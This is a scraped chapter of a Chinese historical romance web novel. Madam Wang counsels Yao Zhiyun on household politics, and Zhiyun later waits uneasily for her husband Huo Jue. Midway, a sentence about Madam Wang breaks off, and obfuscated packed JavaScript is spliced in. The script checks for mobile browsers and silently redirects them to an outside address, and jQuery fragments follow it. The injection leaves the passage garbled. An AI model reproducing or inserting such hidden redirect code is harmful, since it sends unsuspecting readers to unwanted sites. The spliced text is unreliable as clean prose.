小林氏坐在王夫人对面，看着这剑拔弩张的氛围，心中暗暗叫苦。


    这一局，输得彻底。


    她看向太夫人的目光多了责怪，不是说好了，她先出去应付，无论结果如何，太夫人就顺着台阶赶紧出来迎接伯夫人，如此大家面子上也都过得去。


    可她竟然还摆起了长辈的谱，还以为这是陈珺？


    心中暗恨，可面上还不能显露，只能努力维持着笑意，尽力打着圆场。


    “想来这两位便是伯府千金与舅夫人了。”她慈爱地看向孙颖与谢连笙，说着便从手上撸下两只玉镯，一人一个做见面礼。


    姚知韫瞥了一眼，那镯子成色极好，透着极淡极淡的碧色，像初春刚化的溪水，又像晨雾散去后天边一抹若有若无的晴光。


    这样的镯子，怕是千金难买，又怎么会用来赏人？怕是今日孙颖来得措手不及，没有准备礼物，亦或是经过方才的事，准备的礼分量不够，这才不得不忍痛割爱。


    都说林家有钱，果然不虚。


    两人只能又站起身行了礼，大方地接过，又谢了礼。


    “谢过霍老夫人赏，颖儿向来与韫儿交好，这不，非要吵着在侯府住上几日，我也只好依了她，若是以后在太夫人这里失了礼数，还望太夫人原宥。”王夫人开口道。


    太夫人与小林氏面上又是一僵，却不好发作。


    “韫儿自幼失恃，未及教导，如今有了孙姑娘作伴，倒是韫儿的福气。”太夫人好似才反应过来，接过话茬。


    姚知韫心下难得有些烦躁，不捎带着给她挖个坑，是不会说话吗？对方还是长辈，她怼了不合适，不怼自己又不舒服。


    王夫人仿佛没听见那话里的刺，只是不紧不慢地道：“韫儿乃千金之躯，姚将军生前也是捧在手心里长大的，可怜幼失怙恃，却卓然自立，得此明珠，我与伯爷倍感欣慰，自当待若亲生。”


    太夫人面上讪讪然，只得干笑两声：“那是自然，那是自然……”


    话便不知该如何接下去了。


    话不投机，便只能说些无关紧要的闲话。到了用膳时分，王夫人便起身告辞，今日她来本就只是表个态度，目的达到了，也该走了。


    “太夫人舟车劳顿，想来是乏了。我们就不叨扰了。”她顿了顿，又补了一句，“改日府上春宴，还请太夫人过府一叙。”


    太夫人连连点头，亲自送到院门口，这一次礼数周全，无可挑剔。


    姚知韫也随着告辞，出了承晖院。


    归雁居里，午膳早已备好，就等着她们回来。


    一迈进自己家门，姚知韫便彻底放松下来。紧绷了一上午的脊背终于可以松一松，连步子都轻快了几分。偏偏肚子不争气，“咕咕”叫了两声，在这安静的正厅里格外清晰。


    王夫人听见了，忍不住笑出声来。


    姚知韫脸微微一红，却也不扭捏，拉着王夫人的手就往桌边走。


    王夫人由着她拉着坐下，眼里满是笑意。


    桌上的菜不算多，却样样精致。一碟醋溜白菜，一碗红烧肉，一盆热气腾腾的鸡汤，几样时令小菜，还有暖棚里现摘的鲜蔬，碧绿生青，看着便清爽。


    姚知韫也不拘礼，招呼着众人坐下，端起碗就吃，王夫人看着，心里反倒踏实——这孩子，在自己面前没有半分伪装，是真的把她当娘了。


    饭后，丫鬟们撤了碗碟，上了热茶，便悄悄退了出去。


    屋内只剩下自己人。


    王夫人拉着姚知韫的手，让她坐在自己身侧，神色比方才郑重了几分。


    “韫儿，母亲叮嘱你几句，你也别嫌唠叨。”说着看了一眼身旁的孙颖，无奈地笑了笑。


    姚知韫坐直了身子，认真听着。


    “后宅的阴私之事，不比前朝少，甚至更甚。你年纪小，头一回当家，许多事看不透也是正常的，女人好的名声固然重要，可若是为了那个好名声便要忍气吞声、苛待自己，那也大可不必，凡事只要摆在明面上，逃不出一个礼字，这个礼字能束缚自己，也能束缚别人。”


    王夫人顿了顿，目光落在她脸上。


    姚知韫心下一愣，她以为王夫人会劝慰她多忍耐，却不成想竟是如此说法。任何事情都是双面的，就看人怎么做、怎么看，道理她当然懂，也不会让人欺负了去，可有人和她说这些话的感觉，让她心里暖暖的。


    她笑得更加柔和了。


    王夫人知道她听懂了，便接着道：“那位小林氏，你可得当心。”


    姚知韫微微一怔。


    “此人不简单。”王夫人缓缓道，“能忍常人所不能忍，面上永远笑嘻嘻的，今日之事怕也是她的主意。霍家面上虽是太夫人做主，可依我看，真正在背后拿主意的，怕是她。”


    姚知韫想起小林氏那双晦涩难辨的眼睛，心里微微一紧。


    “不过……”王夫人话锋一转，脸上露出几分笑意，“今日看了你这般做派，心里倒踏实了。雷霆之姿，该硬的时候绝不含糊。里里外外全换上自己的人，这后宅，便是你的天下了。”


    她拍了拍姚知韫的手，语气里带着几分欣慰：“有你这样当家，母亲还有什么不放心的？”


    姚知韫眼眶微微一热，低下头去，轻轻“嗯”了一声。


    王夫人笑着继续叮嘱：“霍家虽不省心，侯爷却是向着你的，他昨日之举，御史台那边必定不会善罢甘休，这几日朝堂上怕是要起风波，夫妻一体，一荣俱荣，一损俱损，这个道理你也要懂得。”


    “你心里通透，可毕竟年纪小，切不可因为性子，与他闹了矛盾，若是侯爷有什么不对，你也该多些包容。”王夫人知道她性子看似淡然，实则刚硬，便多叮咛几句。


    姚知韫静静地听着，心里却一愣，王夫人这话似有深意，难道霍抉发生了什么事？只是王夫人就此打住，她也不好追问，便笑着应了一声。


    几人又拉了一会儿家常。


    王夫人将清源书院山长王守的话带到——那些送去书院的书，山长很是感念，说替那些寒门学子谢过侯夫人。姚知韫听了，心里便觉得妥帖。


    王夫人又将朝中的关系细细说了一遍：哪些人家可交，哪些人家需留神，哪些人家最好敬而远之。姚知韫一一记下，心里慢慢有了底。


    看看时辰，王夫人便起身告辞。


    姚知韫连忙吩咐人将暖棚里新摘的蔬菜装了两大篮，亲自送到大门口。王夫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418818|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人拉着她的手，又叮嘱了几句，这才上了马车。


    姚知韫站在门口，看着马车走远，才与孙颖一起往回走。


    两人先去了栖云院。孙颖里里外外看了一遍，喜欢得不得了，直说这院子清雅，往后要常来住。


    又去了芳菲苑。此时正是午后，阳光暖暖地洒在桃杏枝头，那些鼓起的芽苞似乎又饱满了几分。孙颖站在那片即将盛放的园子里，又是羡慕又是欣慰。


    姚知韫也不藏私，拉着她去了暖棚。


    暖棚里绿意盎然，黄瓜顶花带刺，茄子紫亮亮的，还有一垄一垄的鲜蔬，水灵灵的，看着便喜人。孙颖看得眼热，半开玩笑地道：“往后我可要日日来府上讨新鲜蔬菜吃。”


    这本是一句玩笑话。


    可姚知韫却记在了心里。


    往后的几十年，无论风雨，每日清晨，总有一篮新鲜蔬菜从侯府送出，一份去昌平伯府，一份去王家。一日不曾断过，一日不曾晚过。


    午后，阳光斜斜地落在廊下，两人沿着芳菲苑回到归雁居，又说了些话：冯嘉被一顶小轿抬进了英国公府，于宛茵因与二皇子之事暴露，也只做了一个侍妾，二皇子与崔令仪的婚礼定在了六月十八。


    孙颖说着，声音忽然低了下去：“我的婚期定在了六月初五。”


    姚知韫侧头看她。孙颖的脸上没有新嫁娘该有的喜悦，只有一片暗淡的神色。


    “你——。”姚知韫试探着问。


    “不用担心我，”孙颖苦笑道，“他虽是皓月皎洁，却不是我的良配。”她转过头看着姚知韫，目光复杂难辨，“倒是你——。”


    姚知韫一愣，方才母亲那句话她就觉得话里有话，此刻孙颖也这般说，她便不得不多心：“什么意思？”


    孙颖犹豫了一下，压低了声音道：“昨日霍家人搬去甜水巷，大家才知道那宅子是侯爷的，之前一直住着一位姑娘，听说是从嘉兰来的——。”


    姚知韫心中一怔，倒不是怀疑霍抉有什么二心，他待她如何，她心里有数。


    只是这事若是真的，加上分家一事，霍抉的名声怕是要雪上加霜了。


    两人聊着天，不知不觉便到了申时，想着霍抉快要回来了，孙颖便起身回了栖云院，走时不忘促狭地笑着调侃姚知韫，不打扰他们夫妻相聚。


    姚知韫想到霍抉在朝堂上怕是免不了受气，便起身去了厨房，亲自下厨炒了三四个小菜，还温了一壶酒，只是左等右等，等到菜都热了好几遍，也没等到霍抉。


    廊下的灯笼不知何时点亮了，橘黄的光透进来，在桌上投下一片淡淡的影。她盯着那影子看了一会儿，又移开目光，落在门口的方向。


    更鼓敲过两声，霍抉依旧没有回来。


    以往霍抉若是有事安排，定然会安排青木回来说一声，免得她担心，像今日这样，却是从未有过。


    她整个人都坐不住了。


    站起身，走到窗边，推开一条缝。外面黑沉沉的，没有月亮，只有廊下那几盏灯笼在夜风里轻轻摇晃。她望着那条通往府门的甬道，一动不动。


    是朝堂上出了什么事情吗？还是皇上为难他？又或者是京营出了事？她甚至想到了甜水巷那位姑娘。